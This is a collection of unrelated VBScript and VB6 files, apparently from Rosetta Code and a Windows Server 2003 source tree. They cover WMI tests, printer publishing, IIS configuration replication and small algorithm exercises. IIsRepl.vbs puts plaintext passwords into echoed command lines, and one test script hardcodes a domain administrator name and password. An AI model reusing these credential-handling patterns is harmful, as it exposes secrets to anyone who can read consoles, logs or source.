If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
Dim objLocator
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMI = objLocator.ConnectServer(strMachine, strNamespace, strUserName, strPassword)
objWMI.Security_.impersonationlevel = 3
If Err.Number <> 0 then
Wscript.echo(Err.number & " " & hex(Err.number))
ConnectToNamespace = FALSE
End If
End Function
End Class
Function MapErrorCode(ByRef strClass, ByRef strMethod, ByRef intCode)
set objClass = GetObject("winmgmts:").Get(strClass, &h20000)
set objMethod = objClass.methods_(strMethod)
values = objMethod.qualifiers_("values")
if ubound(values) < intCode then
wscript.echo " FAILURE - no error message found for " & intCode & " : " & strClass & "." & strMethod
f.writeline ("FAILURE - no error message found for " & intCode & " : " & strClass & "." & strMethod)
MapErrorCode = ""
else
MapErrorCode = values(intCode)
end if
End Function
|
<gh_stars>1-10
Public queue As New Collection
Private Sub push(what As Variant)
queue.Add what
End Sub
Private Function pop() As Variant
If queue.Count > 0 Then
what = queue(1)
queue.Remove 1
Else
what = CVErr(461)
End If
pop = what
End Function
Private Function empty_()
empty_ = queue.Count = 0
End Function
|
<filename>Task/Narcissistic-decimal-number/VBScript/narcissistic-decimal-number.vb
Function Narcissist(n)
i = 0
j = 0
Do Until j = n
sum = 0
For k = 1 To Len(i)
sum = sum + CInt(Mid(i,k,1)) ^ Len(i)
Next
If i = sum Then
Narcissist = Narcissist & i & ", "
j = j + 1
End If
i = i + 1
Loop
End Function
WScript.StdOut.Write Narcissist(25)
|
<reponame>npocmaka/Windows-Server-2003
Set objAlgInstall = CreateObject("Alg.AlgSetup")
rem ALG TEST
Error = objAlgInstall.Remove("{6E590D41-F6BC-4dad-AC21-7DC40D304059}")
rem ALG ICQ
Error = objAlgInstall.Remove("{6E590D51-F6BC-4dad-AC21-7DC40D304059}")
rem ALG FTP
Error = objAlgInstall.Remove("{6E590D61-F6BC-4dad-AC21-7DC40D304059}")
|
<gh_stars>1-10
Private Const m_default = 10
Private m_bar As Integer
Private Sub Class_Initialize()
'constructor, can be used to set default values
m_bar = m_default
End Sub
Private Sub Class_Terminate()
'destructor, can be used to do some cleaning up
'here we just print a message
Debug.Print "---object destroyed---"
End Sub
Property Let Bar(value As Integer)
m_bar = value
End Property
Property Get Bar() As Integer
Bar = m_bar
End Property
Function DoubleBar()
m_bar = m_bar * 2
End Function
Function MultiplyBar(x As Integer)
'another method
MultiplyBar = m_bar * x
'Note: instead of using the instance variable m_bar we could refer to the Bar property of this object using the special word "Me":
' MultiplyBar = Me.Bar * x
End Function
|
Public Function Lincr(astring As String) As String
'increment a number string, of whatever length
'calls function "increment" or "decrement"
Dim result As String
'see if it is a negative number
If left$(astring, 1) = "-" Then
'negative x: decrease |x| by 1, then add "-"
'(except if the result is zero)
result = decrement(Mid$(astring, 2))
If result <> "0" Then result = "-" & result
Else
'0 or positive x: increase x by 1
If left$(astring, 1) = "+" Then 'allow a + before the number
result = increment(Mid$(astring, 2))
Else
result = increment(astring)
End If
End If
Lincr = result
End Function
Public Function increment(astring) As String
Dim result As String
'increment a string representing a positive number
'does not work with negative numbers
carry = 1
L = Len(astring)
result = ""
For j = L To 1 Step -1
digit = Val(Mid$(astring, j, 1)) + carry
If digit > 9 Then
digit = digit - 10
carry = 1
Else
carry = 0
End If
result = CStr(digit) & result
Next
If carry = 1 Then result = CStr(carry) & result
increment = result
End Function
Public Function decrement(astring) As String
Dim result As String
'decrement a string representing a positive number
'does not work with zero or negative numbers
borrow = 1
L = Len(astring)
result = ""
For j = L To 1 Step -1
digit = Val(Mid$(astring, j, 1)) - borrow
If digit < 0 Then
digit = digit + 10
borrow = 1
Else
borrow = 0
End If
result = CStr(digit) & result
Next
'remove leading zero, if necessary
If (Len(result) > 1) And (left$(result, 1) = "0") Then result = Mid$(result, 2)
decrement = result
End Function
|
<filename>printscan/print/spooler/scripts/pubprn.vbs
'----------------------------------------------------------------------
' pubprn.vbs - publish printers from a non Windows 2000 server into Windows 2000 DS
'
'
' Arguments are:-
' server - format server
' DS container - format "LDAP:\\CN=...,DC=...."
'
'
' Copyright (c) Microsoft Corporation 1997
' All Rights Reserved
'----------------------------------------------------------------------
'--- Begin Error Strings ---
Dim L_PubprnUsage1_text
Dim L_PubprnUsage2_text
Dim L_PubprnUsage3_text
Dim L_PubprnUsage4_text
Dim L_PubprnUsage5_text
Dim L_PubprnUsage6_text
Dim L_GetObjectError1_text
Dim L_GetObjectError2_text
Dim L_PublishError1_text
Dim L_PublishError2_text
Dim L_PublishError3_text
Dim L_PublishSuccess1_text
L_PubprnUsage1_text = "Usage: [cscript] pubprn.vbs server ""LDAP://OU=..,DC=..."""
L_PubprnUsage2_text = " server is a Windows server name (e.g.: Server) or UNC printer name (\\Server\Printer)"
L_PubprnUsage3_text = " ""LDAP://CN=...,DC=..."" is the DS path of the target container"
L_PubprnUsage4_text = ""
L_PubprnUsage5_text = "Example 1: pubprn.vbs MyServer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_PubprnUsage6_text = "Example 2: pubprn.vbs \\MyServer\Printer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_GetObjectError1_text = "Error: Path "
L_GetObjectError2_text = " not found."
L_GetObjectError3_text = "Error: Unable to access "
L_PublishError1_text = "Error: Pubprn cannot publish printers from "
L_PublishError2_text = " because it is running Windows 2000, or later."
L_PublishError3_text = "Failed to publish printer "
L_PublishError4_text = "Error: "
L_PublishSuccess1_text = "Published printer: "
'--- End Error Strings ---
set Args = Wscript.Arguments
if args.count < 2 then
wscript.echo L_PubprnUsage1_text
wscript.echo L_PubprnUsage2_text
wscript.echo L_PubprnUsage3_text
wscript.echo L_PubprnUsage4_text
wscript.echo L_PubprnUsage5_text
wscript.echo L_PubprnUsage6_text
wscript.quit(1)
end if
ServerName= args(0)
Container = args(1)
on error resume next
Set PQContainer = GetObject(Container)
if err then
wscript.echo L_GetObjectError1_text & Container & L_GetObjectError2_text
wscript.quit(1)
end if
on error goto 0
if left(ServerName,1) = "\" then
PublishPrinter ServerName, ServerName, Container
else
on error resume next
Set PrintServer = GetObject("WinNT://" & ServerName & ",computer")
if err then
wscript.echo L_GetObjectError3_text & ServerName & ": " & err.Description
wscript.quit(1)
end if
on error goto 0
For Each Printer In PrintServer
if Printer.class = "PrintQueue" then PublishPrinter Printer.PrinterPath, ServerName, Container
Next
end if
sub PublishPrinter(UNC, ServerName, Container)
Set PQ = WScript.CreateObject("OlePrn.DSPrintQueue.1")
PQ.UNCName = UNC
PQ.Container = Container
on error resume next
PQ.Publish(2)
if err then
if err.number = -2147024772 then
wscript.echo L_PublishError1_text & Chr(34) & ServerName & Chr(34) & L_PublishError2_text
wscript.quit(1)
else
wscript.echo L_PublishError3_text & Chr(34) & UNC & Chr(34) & "."
wscript.echo L_PublishError4_text & err.Description
end if
else
wscript.echo L_PublishSuccess1_text & PQ.Path
end if
Set PQ = nothing
end sub
|
Public Sub CSV_TO_HTML()
input_ = "Character,Speech\n" & _
"The multitude,The messiah! Show us the messiah!\n" & _
"Brians mother,<angry>Now you listen here! He's not the messiah; " & _
"he's a very naughty boy! Now go away!</angry>\n" & _
"The multitude,Who are you?\n" & _
"Brians mother,I'm his mother; that's who!\n" & _
"The multitude,Behold his mother! Behold his mother!"
Debug.Print "<table>" & vbCrLf & "<tr><td>"
For i = 1 To Len(input_)
Select Case Mid(input_, i, 1)
Case "\"
If Mid(input_, i + 1, 1) = "n" Then
Debug.Print "</td></tr>" & vbCrLf & "<tr><td>";
i = i + 1
Else
Debug.Print Mid(input_, i, 1);
End If
Case ",": Debug.Print "</td><td>";
Case "<": Debug.Print "<";
Case ">": Debug.Print ">";
Case "&": Debug.Print "&";
Case Else: Debug.Print Mid(input_, i, 1);
End Select
Next i
Debug.Print "</td></tr>" & vbCrLf & "</table>"
End Sub
|
On Error Resume Next
while true
Set context = CreateObject("WbemScripting.SWbemNamedValueSet")
'Try to add a null
context.Add "J", null
Set namedValue = context.Add("fred", 23)
context("fred").Value = 12
context.Add "Hah", true
context.Add "Whoah", "<NAME>"
context.Add "Bam", Array(3456, 10, 12)
'Test collection behavior
for each value in context
if (IsNull (value)) Then
WScript.Echo value.Name, "NULL"
else
if (IsArray (value)) Then
Dim str
str = value.Name & " {"
V = value.Value
for x=LBound(value) to UBound(value)
if x <> LBound(value) Then
str = str & ", "
End If
str2 = V(x)
str = str & str2
Next
str = str & "}"
WScript.Echo str
Else
WScript.Echo value.Name, value
End if
end if
next
if Err <> 0 Then
WScript.Echo Err.Description
Err.Clear
End if
wend
'Test Count property
WScript.Echo "There are", context.Count, "elements in the context"
'Test Removal
context.Remove("hah")
WScript.Echo "There are", context.Count, "elements in the context"
'Test Removal when element not present (NB: context names are case-insensitive)
context.Remove("Hah")
WScript.Echo "There are", context.Count, "elements in the context"
'Iterate through the names
WScript.Echo ""
WScript.Echo "Here are the names:"
WScript.Echo "=================="
for each value in context
WScript.Echo value.Name
Next
'Test array access and default property of NamedValue
WScript.Echo ""
WScript.Echo "Whoah element of context = ", context("Whoah")
|
<reponame>npocmaka/Windows-Server-2003
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Begin VB.TextBox Text1
Height = 975
Left = 360
TabIndex = 0
Text = "Text1"
Top = 840
Width = 3255
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
'Dim Locator As Object
'Dim Service As Object
'Set Locator = CreateObject("WBEMIDispatchLocator")
'Locator.ConnectServer "root\default", vbNullString, vbNullString, "", 0, vbNullString, Nothing, Service
'Dim Class As DWbemClassObject
'Service.GetObject "B", 0, Nothing, Class, Nothing
'Dim Qualifiers As Object
'Class.GetQualifierSet Qualifiers
'Qualifiers.Put "aqstring", Array("fred", "the", "wibble"), 0
'Dim myArray() As String
'Qualifiers.GetNames 0, myArray
'Text1.Text = myArray(0)
Dim Service As SWbemServices
Set Service = GetObject("winmgmts://./root/default")
Dim Class As SWbemObject
Set Class = Service.Get
Dim Qualifiers As SWbemQualifierSet
Set Qualifiers = Class.Qualifiers_
Qualifiers.Add "fred", Array("a", "b", "c")
Dim QUalifier As SWbemQualifier
For Each QUalifier In Qualifiers
Debug.Print QUalifier.Name
Next
End Sub
|
'Implementation of "set" using the built in Collection datatype.
'A collection can hold any object as item. The examples here are only strings.
'A collection stores item, key pairs. With the key you can retrieve the item.
'The keys are hidden and cannot be changed. No duplicate keys are allowed.
'For the "set" implementation item is the same as the key. And keys must
'be a string.
Private Function createSet(t As Variant) As Collection
Dim x As New Collection
For Each elem In t
x.Add elem, elem
Next elem
Set createSet = x
End Function
Private Function isElement(s As Variant, x As Collection) As Boolean
Dim errno As Integer, t As Variant
On Error GoTo err
t = x(s)
isElement = True
Exit Function
err:
isElement = False
End Function
Private Function setUnion(A As Collection, B As Collection) As Collection
Dim x As New Collection
For Each elem In A
x.Add elem, elem
Next elem
For Each elem In B
On Error Resume Next 'Trying to add a duplicate throws an error
x.Add elem, elem
Next elem
Set setUnion = x
End Function
Private Function intersection(A As Collection, B As Collection) As Collection
Dim x As New Collection
For Each elem In A
If isElement(elem, B) Then x.Add elem, elem
Next elem
For Each elem In B
If isElement(elem, A) Then
On Error Resume Next
x.Add elem, elem
End If
Next elem
Set intersection = x
End Function
Private Function difference(A As Collection, B As Collection) As Collection
Dim x As New Collection
For Each elem In A
If Not isElement(elem, B) Then x.Add elem, elem
Next elem
Set difference = x
End Function
Private Function subset(A As Collection, B As Collection) As Boolean
Dim flag As Boolean
flag = True
For Each elem In A
If Not isElement(elem, B) Then
flag = False
Exit For
End If
Next elem
subset = flag
End Function
Private Function equality(A As Collection, B As Collection) As Boolean
Dim flag As Boolean
flag = True
If A.Count = B.Count Then
For Each elem In A
If Not isElement(elem, B) Then
flag = False
Exit For
End If
Next elem
Else
flag = False
End If
equality = flag
End Function
Private Function properSubset(A As Collection, B As Collection) As Boolean
Dim flag As Boolean
flag = True
If A.Count < B.Count Then
For Each elem In A
If Not isElement(elem, B) Then
flag = False
Exit For
End If
Next elem
Else
flag = False
End If
properSubset = flag
End Function
Public Sub main()
'Set creation
Dim s As Variant
Dim A As Collection, B As Collection, C As Collection
s = [{"Apple","Banana","Pear","Pineapple"}]
Set A = createSet(s) 'Fills the collection A with the elements of s
'Test m ? S -- "m is an element in set S"
Debug.Print isElement("Apple", A) 'returns True
Debug.Print isElement("Fruit", A) 'returns False
'A ? B -- union; a set of all elements either in set A or in set B.
s = [{"Fruit","Banana","Pear","Orange"}]
Set B = createSet(s)
Set C = setUnion(A, B)
'A n B -- intersection; a set of all elements in both set A and set B.
Set C = intersection(A, B)
'A \ B -- difference; a set of all elements in set A, except those in set B.
Set C = difference(A, B)
'A ? B -- subset; true if every element in set A is also in set B.
Debug.Print subset(A, B)
'A = B -- equality; true if every element of set A is in set B and vice versa.
Debug.Print equality(A, B)
'Proper subset
Debug.Print properSubset(A, B)
'Modify -remove an element by key
A.Remove "Apple"
'Modify -remove the first element in the collection/set
A.Remove 1
'Add "10" to A
A.Add "10", "10"
End Sub
|
<filename>admin/wmi/wbem/scripting/test/whistler/refresh/form1.frm
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 12615
ClientLeft = 60
ClientTop = 345
ClientWidth = 9795
LinkTopic = "Form1"
ScaleHeight = 12615
ScaleWidth = 9795
StartUpPosition = 3 'Windows Default
Begin VB.Frame Frame4
Caption = "Object Detail"
Height = 3135
Left = 360
TabIndex = 11
Top = 8880
Width = 8775
Begin VB.ListBox ObjectDetail
Height = 2400
Left = 360
TabIndex = 12
Top = 360
Width = 7935
End
End
Begin VB.Frame Instances
Caption = "Instances"
Height = 3735
Left = 360
TabIndex = 9
Top = 4800
Width = 8775
Begin VB.ListBox PerfInstanceNames
Height = 2985
Left = 240
TabIndex = 10
Top = 360
Width = 8295
End
End
Begin VB.CommandButton Refresh
Caption = "Refresh Now"
BeginProperty Font
Name = "Verdana"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 855
Left = 120
TabIndex = 8
Top = 3720
Width = 3255
End
Begin VB.ListBox PerfList
Height = 2985
Left = 4440
TabIndex = 6
Top = 720
Width = 4095
End
Begin VB.CommandButton DispPerf
Caption = "Display Peformance Counters"
BeginProperty Font
Name = "Verdana"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 855
Left = 120
TabIndex = 5
Top = 2640
Width = 3255
End
Begin VB.Frame Frame2
Caption = "Namespace"
Height = 855
Left = 120
TabIndex = 3
Top = 1320
Width = 2655
Begin VB.TextBox Namespace
Height = 375
Left = 240
TabIndex = 4
Text = "root\cimv2"
Top = 360
Width = 2295
End
End
Begin VB.TextBox Text2
Height = 495
Left = 240
TabIndex = 1
Text = "Text2"
Top = 1440
Width = 2295
End
Begin VB.Frame Frame3
Caption = "Available Performance Counters"
Height = 3855
Left = 3960
TabIndex = 7
Top = 240
Width = 5175
End
Begin VB.TextBox Server
Height = 375
Left = 360
TabIndex = 0
Text = "alanbos5"
Top = 600
Width = 2295
End
Begin VB.Frame Frame1
Caption = "Server"
Height = 855
Left = 120
TabIndex = 2
Top = 240
Width = 2655
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim locator As SWbemLocator
Dim service As SWbemServices
Dim refresher As SWbemRefresher
Dim instancesIndex As Integer
Private Sub DispPerf_Click()
On Error Resume Next
Set service = locator.ConnectServer(Server.Text, Namespace.Text)
If Err <> 0 Then
MsgBox "Could not connect to namespace"
Else
Dim classes As SWbemObjectSet
Set classes = service.SubclassesOf("Win32_PerfRawData")
Dim wmiClass As SWbemObject
For Each wmiClass In classes
If ("Win32_PerfRawData" <> wmiClass.Path_.Class) Then
PerfList.AddItem (wmiClass.Path_.Class)
End If
Next
End If
End Sub
Private Sub Form_Load()
Set locator = CreateObject("WbemScripting.SWbemLocator")
Set refresher = CreateObject("WbemScripting.SWbemRefresher")
End Sub
Private Sub PerfInstanceNames_Click()
RefreshObjectDetail (PerfInstanceNames)
End Sub
Private Sub PerfList_Click()
Dim selectedClass As String
selectedClass = PerfList
Instances.Caption = "Instances of " & selectedClass
' Remove any previous refreshable items
refresher.DeleteAll
' Add the enumeration to our refresher
instancesIndex = refresher.AddEnum(service, selectedClass).Index
' Do a refresh
Refresh_Click
End Sub
Private Function RefreshObjectDetail(objectName As String)
Dim selectedInstances As SWbemObjectSet
Set selectedInstances = refresher(instancesIndex).ObjectSet
ObjectDetail.Clear
Dim selectedInstance As SWbemObject
Set selectedInstance = selectedInstances(objectName)
Dim property As SWbemProperty
For Each property In selectedInstance.Properties_
ObjectDetail.AddItem (property.Name & ": " & property.Value)
Next
End Function
Private Sub Refresh_Click()
refresher.Refresh
Dim selectedInstances As SWbemObjectSet
Set selectedInstances = refresher(instancesIndex).ObjectSet
'Remember what was selected
Dim lastSelection As String
lastSelection = PerfInstanceNames
PerfInstanceNames.Clear
Dim perfInstance As SWbemObject
Dim foundSameItem As Boolean
foundSameItem = False
For Each perfInstance In selectedInstances
PerfInstanceNames.AddItem (perfInstance.Path_.Path)
If (lastSelection = perfInstance.Path_.Path) Then
' Found it again!
PerfInstanceNames.Selected(PerfInstanceNames.ListCount - 1) = True
foundSameItem = True
'Refresh the detail too
RefreshObjectDetail (PerfInstanceNames)
End If
Next
If (foundSameItem = False) Then
If (PerfInstanceNames.ListCount > 0) Then
PerfInstanceNames.Selected(0) = True
RefreshObjectDetail (PerfInstanceNames)
Else
ObjectDetail.Clear
End If
End If
End Sub
|
Debug.Print Now()
|
<reponame>npocmaka/Windows-Server-2003
'
' Copyright (c) Microsoft Corporation. All rights reserved.
'
' VBScript Source File
'
' Script Name: IIsRepl.vbs
'
Option Explicit
On Error Resume Next
' Error codes
Const ERR_OK = 0
Const ERR_GENERAL_FAILURE = 1
'''''''''''''''''''''
' Messages
Const L_ScriptHelper_ErrorMessage = "Could not create an instance of the IIsScriptHelper object."
Const L_ChkScpHelperReg_ErrorMessage = "Please register the Microsoft.IIsScriptHelper component."
Const L_NotEnoughParams_ErrorMessage = "Not enough parameters."
Const L_InvalidSwitch_ErrorMessage = "Invalid switch: "
Const L_BackingUp_Message = "Backing up server "
Const L_Restoring_Message = "Restoring on server "
Const L_Shell_ErrorMessage = "Could not create an instance of the WScript.Shell object."
Const L_ReturnVal_ErrorMessage = "Call returned with code "
Const L_Backup_ErrorMessage = "Failure creating backup."
Const L_BackupComplete_Message = "Backup complete."
Const L_Restore_ErrorMessage = "Failure restoring backup."
Const L_RestoreComplete_Message = "Restore complete."
Const L_FS_ErrorMessage = "Could not create an instance of the Scripting.FileSystemObject object."
Const L_Network_ErrorMessage = "Could not create an instance of the WScript.Network object."
Const L_NoDrive_ErrorMessage = "No drives available for mapping on local machine."
Const L_DriveLetter_Message = "Mapping local drive "
Const L_UnMap_Message = "Unmapping local drive "
Const L_ScriptComplete_Message = "IISRepl.vbs complete."
Const L_SrcAdmin_Message = " to admin share on server "
Const L_Copy_Message = "Copying backup files..."
Const L_Copy_ErrorMessage = "Error copying files."
'''''''''''''''''''''
' Help
' General help messages
Const L_SeeHelp_Message = "Type IIsRepl /? for help."
Const L_Help_HELP_General01_Text = "Description: Replicate IIS configuration between machines"
Const L_Help_HELP_General02_Text = "Syntax: IIsRepl [/su <source user> /sp <source password> /ss <source server>]"
Const L_Help_HELP_General03_Text = " /du <destination user> /dp <destination password> /ds <destination server>"
Const L_Help_HELP_General04_Text = "Parameters:"
Const L_Help_HELP_General06_Text = "Value Description"
Const L_Help_HELP_General07_Text = "/su <source user> Source machine user name [Default: current login]"
Const L_Help_HELP_General08_Text = "/sp <source password> Source machine password [Default: current login]"
Const L_Help_HELP_General09_Text = "/ss <source server> Source machine [Default: this machine]"
Const L_Help_HELP_General10_Text = "/du <destination user> Destination machine user name"
Const L_Help_HELP_General11_Text = "/dp <destination password> Destination machine password"
Const L_Help_HELP_General12_Text = "/ds <destination server> Destination machine"
'
' Main block
'
Dim oScriptHelper, oCmdLib, oShell, oFS, oNetwork, oError
Dim aArgs, arg
Dim strCmdLineOptions, strDrvLetter, strSourceDrive, strSourcePath, strDestDrive
Dim strSourceUser, strSourcePwd, strSourceServer, strDestUser, strDestPwd, strDestServer
Dim strBackupCommand, strDestPath, strCopyCommand, strRestoreCommand,strDelCommand
Dim intResult
Set oShell = WScript.CreateObject("WScript.Shell")
If Err.Number <> 0 Then
WScript.Echo L_Shell_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
Set oFS = WScript.CreateObject("Scripting.FileSystemObject")
If Err.Number <> 0 Then
WScript.Echo L_FS_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
Set oNetwork = WScript.CreateObject("WScript.Network")
If Err.Number <> 0 Then
WScript.Echo L_Network_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
' Instantiate script helper object
Set oScriptHelper = CreateObject("Microsoft.IIsScriptHelper")
If Err.Number <> 0 Then
WScript.Echo L_ScriptHelper_ErrorMessage
WScript.Echo L_ChkScpHelperReg_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
Set oScriptHelper.ScriptHost = WScript
' Check if we are being run with cscript.exe instead of wscript.exe
oScriptHelper.CheckScriptEngine
' Minimum number of parameters must exist
If WScript.Arguments.Count < 1 Then
WScript.Echo L_NotEnoughParams_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
strCmdLineOptions = "[sourceuser:su:1;sourcepassword:sp:1;sourceserver:ss:1];" & _
"[destuser:du:1;destpassword:dp:1];destserver:ds:1"
Set oError = oScriptHelper.ParseCmdLineOptions(strCmdLineOptions)
If Not oError Is Nothing Then
If oError.ErrorCode = oScriptHelper.ERROR_NOT_ENOUGH_ARGS Then
' Not enough arguments for a specified switch
WScript.Echo L_NotEnoughParams_ErrorMessage
WScript.Echo L_SeeHelp_Message
Else
' Invalid switch
WScript.Echo L_InvalidSwitch_ErrorMessage & oError.SwitchName
WScript.Echo L_SeeHelp_Message
End If
WScript.Quit(ERR_GENERAL_FAILURE)
End If
If oScriptHelper.GlobalHelpRequested Then
DisplayHelpMessage
WScript.Quit(ERR_OK)
End If
For Each arg In oScriptHelper.Switches
Select Case arg
Case "sourceuser"
' Source User information
strSourceUser = oScriptHelper.GetSwitch(arg)
Case "sourcepassword"
' Source Password information
strSourcePwd = oScriptHelper.GetSwitch(arg)
Case "sourceserver"
' Source Server information
strSourceServer = oScriptHelper.GetSwitch(arg)
Case "destuser"
' Destination User information
strDestUser = oScriptHelper.GetSwitch(arg)
Case "destpassword"
' Destination Password information
strDestPwd = oScriptHelper.GetSwitch(arg)
Case "destserver"
' Destination Server information
strDestServer = oScriptHelper.GetSwitch(arg)
End Select
Next
intResult = ERR_OK
' Do the first backup
strBackupCommand = "cmd /c iisback /backup"
If strSourceServer <> "" Then
strBackupCommand = strBackupCommand & " /s " & strSourceServer
Else
strSourceServer = "127.0.0.1"
End If
If strSourceUser <> "" Then
strBackupCommand = strBackupCommand & " /u " & strSourceUser
End If
If strSourcePwd <> "" Then
strBackupCommand = strBackupCommand & " /p " & strSourcePwd
End If
' need overwrite in case a previous attempt failed
strBackupCommand = strBackupCommand & " /b iisreplback /overwrite"
' backup the source server
WScript.Echo L_BackingUp_Message & strSourceServer
WScript.Echo strBackupCommand
intResult = oShell.Run(strBackupCommand, 1, TRUE)
If intResult <> 0 Then
WScript.Echo L_ReturnVal_ErrorMessage & intResult
WScript.Echo L_Backup_ErrorMessage
WScript.Quit(intResult)
End If
WScript.Echo L_BackupComplete_Message
' Now map drive to source server
' Find a drive letter
strSourceDrive = "NO DRIVE"
For strDrvLetter = Asc("C") to Asc("Z")
If Not oFS.DriveExists(Chr(strDrvLetter)) Then
strSourceDrive = Chr(strDrvLetter)
Exit For
End If
Next
If strSourceDrive = "NO DRIVE" Then
' No drive letter available
WScript.Echo L_NoDrive_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
strSourceDrive = strSourceDrive & ":"
strSourcePath = "\\" & strSourceServer & "\ADMIN$"
' Map the drive
WScript.Echo L_DriveLetter_Message & strSourceDrive & L_SrcAdmin_Message & strSourceServer
If strSourceUser Then
oNetwork.MapNetworkDrive strSourceDrive, strSourcePath, FALSE, strSourceUser, strSourcePwd
Else
oNetwork.MapNetworkDrive strSourceDrive, strSourcePath
End If
' Now map drive to destination server
' Find a drive letter
strDestDrive = "NO DRIVE"
For strDrvLetter = Asc("C") to Asc("Z")
If Not oFS.DriveExists(Chr(strDrvLetter)) Then
strDestDrive = Chr(strDrvLetter)
Exit For
End If
Next
If strDestDrive = "NO DRIVE" Then
' No drive letter available
WScript.Echo L_NoDrive_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
strDestDrive = strDestDrive & ":"
strDestPath = "\\" & strDestServer & "\ADMIN$"
' Map the drive
WScript.Echo L_DriveLetter_Message & strDestDrive & L_SrcAdmin_Message & strDestServer
oNetwork.MapNetworkDrive strDestDrive, strDestPath, FALSE, strDestUser, strDestPwd
strCopyCommand = "cmd /c copy /Y " & strSourceDrive & "\system32\inetsrv\metaback\iisreplback.* "
strCopyCommand = strCopyCommand & strDestDrive & "\system32\inetsrv\metaback"
' Copy the files
WScript.Echo L_CopyMessage
WScript.Echo strCopyCommand
intResult = oShell.Run(strCopyCommand, 1, TRUE)
If intResult <> 0 Then
WScript.Echo L_ReturnVal_ErrorMessage & intResult
WScript.Echo L_Copy_ErrorMessage
WScript.Quit(intResult)
End If
strDelCommand = "cmd /c del /f /q " & strSourceDrive & "\system32\inetsrv\metaback\iisreplback.*"
intResult = oShell.Run(strDelCommand, 1, TRUE)
' Unmap drive to source server
WScript.Echo L_UnMap_Message & strSourceDrive
oNetwork.RemoveNetworkDrive strSourceDrive
' Now do the restore on the destination server
strRestoreCommand = "cmd /c iisback /restore /s " & strDestServer
strRestoreCommand = strRestoreCommand & " /u " & strDestUser
strRestoreCommand = strRestoreCommand & " /p " & strDestPwd
strRestoreCommand = strRestoreCommand & " /b iisreplback"
WScript.Echo L_Restoring_Message & strDestServer
WScript.Echo strRestoreCommand
intResult = oShell.Run(strRestoreCommand, 1, TRUE)
If intResult <> 0 Then
WScript.Echo L_ReturnVal_ErrorMessage & intResult
WScript.Echo L_Restore_ErrorMessage
WScript.Quit(intResult)
End If
WScript.Echo L_RestoreComplete_Message
strDelCommand = "cmd /c del /f /q " & strDestDrive & "\system32\inetsrv\metaback\iisreplback.*"
intResult = oShell.Run(strDelCommand, 1, TRUE)
' Unmap drive to destination server
WScript.Echo L_UnMap_Message & strDestDrive
oNetwork.RemoveNetworkDrive strDestDrive
WScript.Echo L_ScriptComplete_Message
' Return value to command processor
WScript.Quit(intResult)
'''''''''''''''''''''''''
' End Of Main Block
'''''''''''''''''''''
'''''''''''''''''''''''''''
' DisplayHelpMessage
'''''''''''''''''''''''''''
Sub DisplayHelpMessage()
WScript.Echo L_Help_HELP_General01_Text
WScript.Echo
WScript.Echo L_Help_HELP_General02_Text
WScript.Echo L_Help_HELP_General03_Text
WScript.Echo
WScript.Echo L_Help_HELP_General04_Text
WScript.Echo
WScript.Echo L_Help_HELP_General06_Text
WScript.Echo L_Help_HELP_General07_Text
WScript.Echo L_Help_HELP_General08_Text
WScript.Echo L_Help_HELP_General09_Text
WScript.Echo L_Help_HELP_General10_Text
WScript.Echo L_Help_HELP_General11_Text
WScript.Echo L_Help_HELP_General12_Text
End Sub
|
<reponame>npocmaka/Windows-Server-2003
on error resume next
set l = CreateObject("WbemScripting.SWbemLocatorEx")
set c = CreateObject("WbemScripting.SWbemNamedValueSet")
set ldap = l.Open ("umi://nw01t1/ldap", "nw01t1domnb\administrator", "nw01t1domnb")
Set objArgs = Wscript.Arguments
if objArgs.Count > 0 then
if objArgs(0) = "?" OR objArgs(0) = "/?" OR objArgs(0) = "h" OR objArgs(0) = "/h" _
OR objArgs(0) = "-?" OR objArgs(0) = "-h" then
WScript.Echo "Usage: cscript sd.vbs [[o][g][d][s]]"
WScript.Quit
end if
if InStr( 1, objArgs(0), "o", 1) > 0 then c.Add "INCLUDE_OWNER", true
if InStr( 1, objArgs(0), "g", 1) > 0 then c.Add "INCLUDE_GROUP", true
if InStr( 1, objArgs(0), "d", 1) > 0 then c.Add "INCLUDE_DACL", true
if InStr( 1, objArgs(0), "s", 1) > 0 then c.Add "INCLUDE_SACL", true
else
c.Add "INCLUDE_GROUP", true
c.Add "INCLUDE_OWNER", true
c.Add "INCLUDE_DACL", true
c.Add "INCLUDE_SACL", true
end if
set cont = ldap.Get (".CN=users", &H40000, c)
set sd = cont.GetSecurityDescriptor_
if err then WScript.Echo "[" & Err.Description & "]"
WScript.Echo
WScript.Echo "SD"
WScript.Echo "=="
WScript.Echo
WScript.Echo "Revision:", sd.Revision
WScript.Echo "Control:", sd.Control
WScript.Echo "Owner:", sd.Owner
WScript.Echo "OwnerDefaulted:", sd.OwnerDefaulted
WScript.Echo "Group:", sd.Group
WScript.Echo "GroupDefaulted:", sd.GroupDefaulted
WScript.Echo "DaclDefaulted:", sd.DaclDefaulted
WScript.Echo "SaclDefaulted:", sd.SaclDefaulted
